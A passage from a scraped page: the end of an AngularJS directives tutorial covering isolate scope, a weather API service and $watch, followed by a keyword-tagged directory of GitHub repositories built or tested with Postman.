what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-CSharp
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 1 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-PHP
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 1 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Java
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 0 stars 0 watchers 3 forks
davidenoma/Restful-Explore-California-App
boot, data, form, format, information, location, package, packages, rating, rest, restful, service, spring, spring boot, tours 		A restful spring boot micro service based on spring data JPA and spring rest. It allows requests to the web service that returns information about tours, tour packages and tour ratings about locations in california. 1 stars 1 watchers 0 forks
Oghenetega3000/TestApi
collects, data, database, employee, form, format, information, test, tested, upload 		An api that collects employee information in JSON format and uploads it to a database (to be tested in Postman) 1 stars 1 watchers 0 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Ruby
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 0 forks
teamcasper/dog-match
backend, cost, design, designed, form, format, front end, information, location, match, mongo, test, tested 		Group project for Alchemy's code lab 401. It was designed for potential buyers and sellers to provide dog information such as cost, location, breed, etc. It was built using Node and mongoDB on the backend, and tested with postman and Heroku on the front end. 0 stars 0 watchers 2 forks
DigitalAPI/Postman-Bundle
creation, display, find, form, format, information, mean, parse, parses, play, pull, search, syntax 		Postman to the rescue! It parses your API request and response and displays them in more manageable formats. It also simplifies the creation of API requests, which means you’re off the hook for finding the arcane syntax that will pull the precise information you’re in search of. 0 stars 0 watchers 1 forks
regeanish/Mean-Hotel
client, data, database, display, form, format, hotel, information, play, playing, reviews, server, test, testing, user 		Created a Hotel API where user can add, delete, update hotel name and reviews using NodeJS(Express) and MongoDB. Used RESTful API HTTP client POSTMAN for testing. Additionally, building UI for displaying information coming from the server & database about the hotel using AngularJS 0 stars 0 watchers 0 forks
aking27/FitnessTracker
account, application, data, exercise, form, format, framework, goal, goals, information, machine, mobile, nutritional, order, progress, server, track, tracker, user, users 		I used React Native to create a fitness tracker mobile application for iOS and Android. In order to update and maintain server data, I used a combination of the RESTful API and Postman. Additionally, the Expo framework and Node.js were used to build the application on my machine. This app allows users to sign into their account to log exercise/nutritional information, create fitness goals, and view their progress. 0 stars 0 watchers 0 forks
Ali-Ahmed-Khan/RestAPI-Post
data, database, form, format, information, method 		Connecting to a database. Using POST method to post information through Postman. 0 stars 0 watchers 0 forks
Ayushverma8/Alexa.WithPostmanis.fun
blog, blogs, form, format, information, informational, logs, tool, tools 		Contains informational blogs and FOSS tools build with Postman Collections and Alexa 0 stars 0 watchers 0 forks
bflaven/FlagApi
application, countries, form, format, information, test 		A basic application to get information about countries via a RESTful API (Node.JS Version). This application will be used for test explanations purpose. 0 stars 0 watchers 0 forks
chempogonzalez/slack-api-checker
application, check, collection, form, format, information, message, report, send, slack, test, tests, tool 		:robot: This application is a tool which allows you to send, through a message/report to Slack, all the information about your Postman collection tests. 0 stars 0 watchers 0 forks
chikeud/ReleafEval
action, application, form, format, frontend, implementation, information, list, send, setup, spec, test, tester, user 		API that allows user to add company, update company info, delete company and request a user specified number of companies based on a user specified ranking criterion. No frontend implementation so API tester or request sending application such as Postman will be needed. Installation and setup information and specific requests to achieve each of the actions listed above will be explained in detail in ReadMe. Test Eval for releaf.ng 0 stars 0 watchers 0 forks
fe3dback/web-debug-tools
api blueprint, application, asyncapi, debug, form, format, information, json schema, logs, oauth, openid, route, routes, sql, symfony, tool, tools 		WIP! - GUI application, "Postman" + "symfony debug toolbar", allow to develop api with additional response information (sql, logs, routes, acl, etc..) 0 stars 0 watchers 0 forks
gloryer/jsonwebtoken
access, auth, authenticate, authenticates, authentication, back end, client, endpoint, exposes, form, format, http, information, issue, json, jsonwebtoken, registration, resource, send, server, server., source, test, tested, token, user, verify 		A demo back end server exposes user registration endpoint, user authentication endpoint, token endpoint and resource endpoint. The resource endpoint is protected by the JWT token. Only the client who possesses the valid token can access the resource. To get a token from the server, the client must authenticates itself to the server. To request the resource in the server, the client issue an http GET request to the resource endpoint, the server will verify the recieved jwt token. Once the token is valid, the server will send back the user information which indicated in the jwt token. Front-end has not been implemented so far. The back-end is tested using Postman. 0 stars 0 watchers 0 forks
Jakobrennan/SpringBootApp
application, boot, form, format, framework, information, mock, pull, spring, spring boot 		First application that uses the spring boot framework, using postman to create and pull information from the mock DB 0 stars 0 watchers 0 forks
joaope/RoutingInspector
endpoint, endpoints, form, format, information, spec 		Add extra information endpoints to your ASP.NET Core API or Application 0 stars 0 watchers 0 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Python
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 0 stars 0 watchers 0 forks
qijia00/Postman_JavaScript_npm_ChaiAssertionLibrary
execution, form, format, information, integration, move, moved, package, pipeline, script, scripts 		Sample Postman scripts I created in JavaScript with Chai Assertion Library. The scripts are also packaged by npm for easy execution and integration to CI/CD pipeline with Jenkins. Authentication information has been removed for privacy reasons. 0 stars 0 watchers 0 forks
Tiausa/CloudAPI
account, data, database, form, format, information, party, provider, related, spec, support, supported, test, test suite, user 		Implemented REST API that supported user account using 3rd party providers and account specific information. Used non-relational database to support related entities. Created full test suite using Postman. 0 stars 0 watchers 0 forks
us-baishan/API-Documentation
cloud, collection, form, format, information, site, website 		This is a built API collection from Postman according to Baishancloud API Documentation; for more information, please visit our website 0 stars 0 watchers 0 forks

software (24 listings) (Back to Top)

flyworker/python-automation-testing
application, applications, automat, automate, automated, automation, python, river, software, test, testing, web app 		Learn about automated software testing with Python, Selenium WebDriver, and API, Postman, focusing on web applications. 0 stars 0 watchers 12 forks
ghoshnirmalya/linkedin-clone-rails-backend
backend, clone, link, linkedin, rails, rocket, software 		:rocket: API to power a software similar to LinkedIn 5 stars 5 watchers 0 forks
nuralam24/Registration-Login-Using-Node.js-MongoDB
backend, software 		Only backend using (postman software) 1 stars 1 watchers 0 forks
BackstageBones/BDD-testing
application, applications, automat, automate, automated, river, software, test, testing, web app 		Learn about automated software testing with Python, BDD, Selenium WebDriver, and Postman, focusing on web applications 0 stars 0 watchers 0 forks
dreamfactorysoftware/dreamfactory-postman-collection
actor, collection, collections, host, hosting, play, software 		A repository for hosting plug-n-play Postman collections 0 stars 0 watchers 0 forks
HuGomez/automated-swtesting-withpy
application, applications, automat, automate, automated, river, software, test, testing, web app 		Learning about automated software testing with Python, BDD, Selenium WebDriver, and Postman, focusing on web applications 0 stars 0 watchers 0 forks
e2software/PostMan
description, script, software 		No description available. 0 stars 0 watchers 0 forks
rohityo/Blogs-website
logs, program, site, software, test, testing, tool, website 		In this project, implemented API End-point with Blog medium website and the uses of postman software tool for testing the programme. 0 stars 0 watchers 0 forks
Sam-Ijomah/BULD-AND-TEST
program, software, test, testing 		Build a new software program and execute the testing using POSTMAN TOOL 0 stars 0 watchers 0 forks
TVoroshilova/QA-automation-programmer
agile, application, automat, automatic, automation, cloud, degree, developing, development, environment, environments, expect, fluent, form, framework, frameworks, function, functional, home, including, integration, level, method, office, performance, process, product, program, public, release, remote, report, seek, skills, software, spec, specification, specifications, stat, system, test, testing, tests, tool, tools, track, tracking, user, writing 		At least 2 years experience in Testing Automation Development using known software testing tools and frameworks as Selenium, Appium, Postman, etc. ∙ Experience with Web, DB (SQL/NoSQL) and API testing – Must. ∙ Experience with working over Linux OS and public cloud environments – Must. ∙ Experience with defect tracking system (as GIT, Jira or VSTS/Azure Dev Ops) – Must. ∙ Experience in working with Docker – Advantage.We are seeking an experienced QA automation programmer that will be leading the testing automation activities for our SaaS product. ∙ The QA automation programmer will be part of an innovative team developing a challenging, cutting edge technology Web application for the e-Commerce world. ∙ Main responsibilities: Develop test plans including functional testing, end user testing, stress, performance, reliability and usability testing. o Evaluate product code according to specifications, report and track bugs and fixes. o Execute automatic tests on the product during development and pre-release stages. o Work closely with R&D and product teams on new features, system integration and performance testing as a part of a startup company stationed in Israel. o Participate in the complete development process using the agile methodology. ∙ Academic degree from a known institution.High level English – very good writing skills, fluent speech.The candidate agrees to work from Trust’s offices and not remotely from home.Salary expectations: Up to 2000 USD (Gross salary) 0 stars 0 watchers 0 forks
AanshSavla/Wiki-API
data, database, form, platform, scratch, software, wiki, wikipedia 		This is a RESTful API built from scratch.It's similar to the wikipedia .It's made using NodeJS using ExpressJS . The database is created on a GUI platform called Robo3T . Request are made using Postman software. 0 stars 0 watchers 0 forks
anandcool/Postman-Mimic
script, software 		This is a simple project of Javascript by making a mimic of Postman software by using Fetch API and Manipulation of DOM 0 stars 0 watchers 0 forks
CodingReaction/PostmanRedCards
action, import, package, packages, software, support, track 		A software made for additional support to Postman who needs to track important packages. 0 stars 0 watchers 0 forks
cpalmer-atx/RESTful-API
course, engine, engineering, group, java, javascript, mongo, script, software 		A group project for my Spring 2019 software engineering course implementing a RESTful API using mongoDB, Postman, and javascript. 0 stars 0 watchers 0 forks
fsoft72/postman-composer
compose, composer, file, files, single, software 		A software to merge multi Postman files into a single one 0 stars 0 watchers 0 forks
ifatimazahid/MongoDB-project
contained, data, database, includes, server, software 		This MongoDB project includes creating own API server through a software POSTMAN by the help of the data contained in the MONGO database. 0 stars 0 watchers 0 forks
JosephFahedTossi/voting-api
application, header, image, interface, program, programming, search, select, software, test, tested, upload, user 		An application programming interface which is tested using the Postman software where a user can search candidates by using the header "firstname", upload an image and vote for the selected candidate. 0 stars 0 watchers 0 forks
kevinxu993/Fanlinc
access, agile, application, backend, cloud, data, database, development, flexible, frontend, handling, mean, method, process, relationship, simulate, software, storage, version, web app 		⚫ Developed a web application to foster meaningful relationships between fans, and grow the fervent passions for the fandoms they love. ⚫ Coded in Java with Spring Boot for backend, ReactJS and HTML for frontend. ⚫ Used MySQL database. Used AWS for cloud storage. Used Spring Data JPA to allow data access and Google API to implement map feature. ⚫ Wrote REST APIs in the backend to ensure flexible data handling. ⚫ Tested the APIs using Postman to ensure early failure detection and stable development. ⚫ Worked in a Scrum team using agile software development methodology. ⚫ Used Git for version control to simulate a software development process 0 stars 0 watchers 0 forks
midathanasiva/AssignMentApril09RestAPISpringFrameworkUsingPostman
application, data, rest, restful, send, software, web app 		creating web application ,using restful API, and postman software to send data (request data) and getting response data. 0 stars 0 watchers 0 forks
Mregussek/rest-api-server
learn, rest, server, software 		Trivial REST API software, you can easily learn its capabilities 0 stars 0 watchers 0 forks
qbicsoftware/postman-cli
client, data, dataset, download, software 		A client software for dataset request and download from openBIS 0 stars 0 watchers 0 forks
qbicsoftware/postman-core-lib
data, dataset, download, file, files, sets, software, util, utilities 		Core libraries providing utilities for the download of OpenBIS files and datasets 0 stars 0 watchers 0 forks
ragizaki/ConsultED
backend, chat, design, designed, future, learn, model, options, software, student, test, tests 		FAQ chatbot designed to help secondary students better learn of their post-secondary options. The model tests the accuracy of responses and incorporates them in the future. Postman software was used, and called the Genesys API to create the backend of the chatbot. 0 stars 0 watchers 0 forks
viniciusamorim2000/Curso-SpringBoot
banco, objetos, software, test 		Projeto desenvolvido usando JAVA,Tomcat, JPA, Hibernate, Spring Boot, Sql, PostgresSQL, banco de teste H2, ferramenta para teste de software: Postman .Estudos baseado no curso de orientação objetos em JAVA do Nélio Alves 0 stars 0 watchers 0 forks

mini (22 listings) (Back to Top)

DevMountain/endpoint-testing-mini
endpoint, endpoints, mini, test, testing 		A mini project to introduce how to test endpoints using Postman. 2 stars 2 watchers 287 forks
anshengsunshine/miniProgram-mall
mini 		本项目是一个小程序商城全栈应用，通过三端分离的开发方式，理解Web的基本框架思想。 其开发框架为ThinkPHP5.07，数据库为MySQL5.6，主要使用的开发工具为XAMPP、Navicat、PostMan、微信开发者工具。 本项目核心知识主要分为三大方面： ThinkPHP5.0-》TP5三大核心(路由、控制器、模型)；使用TP5验证器Validate构建整个验证层；TP5缓存的使用。 微信小程序与微信支付-》微信小程序登录状态的维护；微信支付的接入；Class和Module面向对象的思维构建；前端如何管理用户令牌。 API-》采用RESTFul API风格；返回码、URL语义、HTTP动词、错误码、异常返回；使用Token令牌构建用户授权体系；API版本控制。 1 stars 1 watchers 2 forks
Rachel-Hofer/Ironhack-Project3-Client-Side
mini, minimum, model, models, route, routes, script 		Week-9, Project 3 - MERN Application Assignment: Minimum 3 models. Include sign-up / sign-in / sign-out with encrypted passwords. Have full CRUD routes for a minimum of 2 models. Use React for Front End. Technologies: React.js, Javascript, Node.js, HBS, CSS, Bootstrap, jQuery, Passport.js, Cloudinary.js, AJAX, MongoDB, Postman, GoogleMapsAPI 1 stars 1 watchers 1 forks
Rachel-Hofer/Ironhack-Project3-Server-Side
mini, minimum, model, models, route, routes, script 		Week-9, Project 3 - MERN Application Assignment: Minimum 3 models. Include sign-up / sign-in / sign-out with encrypted passwords. Have full CRUD routes for a minimum of 2 models. Use React for Front End. Technologies: React.js, Javascript, Node.js, HBS, CSS, Bootstrap, jQuery, Passport.js, Cloudinary.js, AJAX, MongoDB, Postman, GoogleMapsAPI 1 stars 1 watchers 1 forks
arigemini/postman
mini 		21st century postman 1 stars 1 watchers 0 forks
nyxgear/PSD-e-service-pronto-soccorso
backend, concept, cost, mini, service 		Proof of concept di un backend costituito da API REST di un e-Service per l'amministrazione delle dinamiche di Pronto Soccorso. Progetto per il corso di Process and Service Design (A.Y. 2017/2018) presso il Politecnico di Milano. 1 stars 1 watchers 0 forks
red5pro/red5pro-api-client
admin, client, clients, clientside, function, functional, group, mini 		A set of Postman clientside API calls grouped by functionality for administering Red5 Pro 1 stars 1 watchers 0 forks
rishu488/REST-api-in-nodejs-using-mongoose-express
express, mini, mongo, mongoose, node, nodejs, rest, rest api 		its a mini project of creating a rest api using mongoose express and postman 1 stars 1 watchers 0 forks
smmcgrath/MyFirstApp
access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app 		Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. 1 stars 1 watchers 0 forks
stephen304/postmanager
admin, book, manager, mini, tool 		A low effort Facebook page administration tool 1 stars 1 watchers 0 forks
spenceclark/newman-reporter-json-summary
json, mini, minimum, newman, report, reporter, result, summary 		A Newman JSON Reporter that strips the results down to a minimum 0 stars 0 watchers 2 forks
akp111/Blockchain
blockchain, chai, mini 		A small project on mining blocks for blockchain and interfacing the blocks using postman 0 stars 0 watchers 0 forks
gupta0509shubham/mini_postman
description, mini, script 		No description available. 0 stars 0 watchers 0 forks
jnafolayan/postman
interface, mini, minimal, test, testing 		minimal api testing interface 0 stars 0 watchers 0 forks
kdesimini/PostmanCollectionBackupTest
description, mini, script 		No description available. 0 stars 0 watchers 0 forks
DarkmaneTheRobot/node-e621
mini, node, wrapper 		A mini NodeJS wrapper for e621. Created using POSTMan. 0 stars 0 watchers 0 forks
geminiyellow/postman
mail, mini, service 		Intelligent Email delivery service. 0 stars 0 watchers 0 forks
jeffubayi/Events-Organizer
application, event, mini, schedule, scheduler, sort, version 		An event scheduler application, sort of like a mini version of Eventbrite/Meetup 0 stars 0 watchers 0 forks
Mercateo/unite-tenant-administration-postman-collection
admin, collection, example, mini, tenant, unit 		A collection of example requests that can be made to the Unite-Tenant-Administration APIs 0 stars 0 watchers 0 forks
NeytChi/mini-message
chat, document, http, https, message, mini, server, test, version 		Little server for little chat app. Postman: https://documenter.getpostman.com/view/5257392/S1a1aUAN?version=latest#f26b02f5-ca14-4139-a88e-b37d1e8c28cc 0 stars 0 watchers 0 forks
rajvijen/QaBot
form, mini, minimal, platform 		QaBot is StachOverflow like online question answer platform with minimal features. 0 stars 0 watchers 0 forks
rlxu/d3-example-brewery
example, mini 		An intro to D3 mini project example for Berkeley CodeBase <> Postman project, Fall 2019. 0 stars 0 watchers 0 forks

public (21 listings) (Back to Top)

auth0/postman-collections
auth, auth0, collection, collections, public 		Postman collections for Auth0 public APIs 4 stars 4 watchers 7 forks
transferwise/public-api-postman-collection
collection, exploring, public, test, testing, transferwise 		A Postman collection for exploring and testing the TransferWise public API 0 stars 0 watchers 3 forks
smooch/smooch-postman-collection-public
collection, public 		A public repository for the Smooch Postman Collection 0 stars 0 watchers 3 forks
ForgeRock/obri-postman
collection, collections, public 		Versioning of our collections, publicly available 0 stars 0 watchers 2 forks
cpvariyani/identityserver4-in-net-core-to-secure-public-microservice
client, demonstrate, entity, example, grant, integrate, integrated, microservice, microservices, package, packages, public, sample, secure, server, service, services, test, tested, type, video 		This is a practical example to demonstrate how to secure public microservices in .Net core using Identity server 4. In this video, we have created IdentityServer4, created sample public microservice, integrated that microservice with identity server and last this securing microservice using identity server is tested using postman. A practical example of How to create Identity server in .net core for grant type to client credentials. nuget packages for identity server are 2 IdentityServer4 and IdentityServer4.EntityFramework. and for microservice 1 nuget packages needs to be added Microsoft.AspNetCore.Authentication.JwtBearer 1 stars 1 watchers 0 forks
leopuleo/Discogs-Postman
collection, public 		A Postman collection for Discogs public API. 0 stars 0 watchers 1 forks
bgarlow/postman-collections-public
collection, collections, description, public, script 		No description available. 0 stars 0 watchers 0 forks
TVoroshilova/QA-automation-programmer
agile, application, automat, automatic, automation, cloud, degree, developing, development, environment, environments, expect, fluent, form, framework, frameworks, function, functional, home, including, integration, level, method, office, performance, process, product, program, public, release, remote, report, seek, skills, software, spec, specification, specifications, stat, system, test, testing, tests, tool, tools, track, tracking, user, writing 		At least 2 years experience in Testing Automation Development using known software testing tools and frameworks as Selenium, Appium, Postman, etc. ∙ Experience with Web, DB (SQL/NoSQL) and API testing – Must. ∙ Experience with working over Linux OS and public cloud environments – Must. ∙ Experience with defect tracking system (as GIT, Jira or VSTS/Azure Dev Ops) – Must. ∙ Experience in working with Docker – Advantage.We are seeking an experienced QA automation programmer that will be leading the testing automation activities for our SaaS product. ∙ The QA automation programmer will be part of an innovative team developing a challenging, cutting edge technology Web application for the e-Commerce world. ∙ Main responsibilities: Develop test plans including functional testing, end user testing, stress, performance, reliability and usability testing. o Evaluate product code according to specifications, report and track bugs and fixes. o Execute automatic tests on the product during development and pre-release stages. o Work closely with R&D and product teams on new features, system integration and performance testing as a part of a startup company stationed in Israel. o Participate in the complete development process using the agile methodology. ∙ Academic degree from a known institution.High level English – very good writing skills, fluent speech.The candidate agrees to work from Trust’s offices and not remotely from home.Salary expectations: Up to 2000 USD (Gross salary) 0 stars 0 watchers 0 forks
asheeshmisra/postman-Bing_In_Zomato
collection, place, postman collection, public, rest, restaurant, search, spec 		This is a public repository having a postman collection to search for a restaurant near a specified place using Zomato API and Bing Maps REST API. 0 stars 0 watchers 0 forks
bakersen/iReporter2
account, application, auth, bridge, countries, development, display, email, enable, enables, event, form, general, github, image, images, link, local, location, mail, notification, play, public, report, script, section, solution, solutions, stat, status, support, things, user, video 		iReporter enables any/every citizen to bring any form of corruption to the notice of appropriate authorities and the general public. Users can also report on things that needs government intervention. Corruption is a huge bane to Africa’s development. African countries must develop novel and localised solutions that will curb this menace, hence the birth of iReporter. ### Features 1. Users can create an account and log in. 2. Users can create a red-flag record (An incident linked to corruption). 3. Users can create intervention record (a call for a government agency to intervene e.g repair bad road sections, collapsed bridges, flooding e.t.c). 4. Users can edit their red-flag or intervention records. 5. Users can delete their red-flag or intervention records. 6. Users can add geolocation (Lat Long Coordinates) to their red-flag or intervention records . 7. Users can change the geolocation (Lat Long Coordinates) attached to their red-flag or intervention records . 8. Admin can change the status of a record to either under investigation, rejected (in the event of a false claim) or resolved (in the event that the claim has been investigated and resolved) . Optional Features 1. Users can add images to their red-flag or intervention records, to support their claims. 2. Users can add videos to their red-flag or intervention records, to support their claims. 3. The application should display a Google Map with Marker showing the red-flag or intervention location. 4. The user gets real-time email notification when Admin changes the status of their record. 5. The user gets real-time SMS notification when Admin changes the status of their record. ## Built With * HTML, CSS, Javascript * Python, Flask APIs * Postgres SQL ## Tools Used * Pivotal Tracker * github * Postman * Heroku ## Version v1.0 ## Authors * **Baker Sentamu** ## iReporter Demo UI Link ## Acknowledgments * Andela Learning Facilitators 0 stars 0 watchers 0 forks
CKlein413/DeckOfCards
public 		API work using Postman against the public deck of cards APIs 0 stars 0 watchers 0 forks
cpvariyani/identity-server-4-policy-based-authorization-.netcore
admin, auth, authorization, demonstrate, enable, enabled, entity, example, http, https, integrate, integrated, microservice, microservices, public, role, sample, secure, server, server., service, services, spec, test, tested, user, users, video, youtube 		Identity Server 4 Role-based Authorization in .Net Core 2 Microservice, In this video, we have enabled the role based authorization using the Identity server. we have created 2 users admin and user and created the respective policy in microservices. In part 1, we have seen how to secure the public microservice, in this part, we have demonstrated how we can implement role-based authorization in Identity server 4 and .Net core. Creation of Identity Server4 in .Net core to secure public microservices with a practical example is explained here. In the part 1 of video, we have created IdentityServer4, created sample public microservice, integrated that microservice with identity server and last this securing microservice using identity server is tested using postman. Part 1 Create Identity Server 4 in .net core to secure Public microservices https://www.youtube.com/watch?v=LVYEq... Part 2 Identity Server 4 Role Based Authorization in .Net Core 2 Microservice 0 stars 0 watchers 0 forks
kjschmidt913/lab20And21
config, configure, export, exported, express, facts, file, folder, front end, function, public, random, retrieve, route, routes 		A function that will return random facts, exported from a different file. Converted the app to Express. Created routes to retrieve facts. Tested using Postman. Created a front-end for the app (added public folder, configured express app to point to the public folder). Used an AJAX call from the front end to retrieve the random facts. 0 stars 0 watchers 0 forks
octavioamu/postman-collections
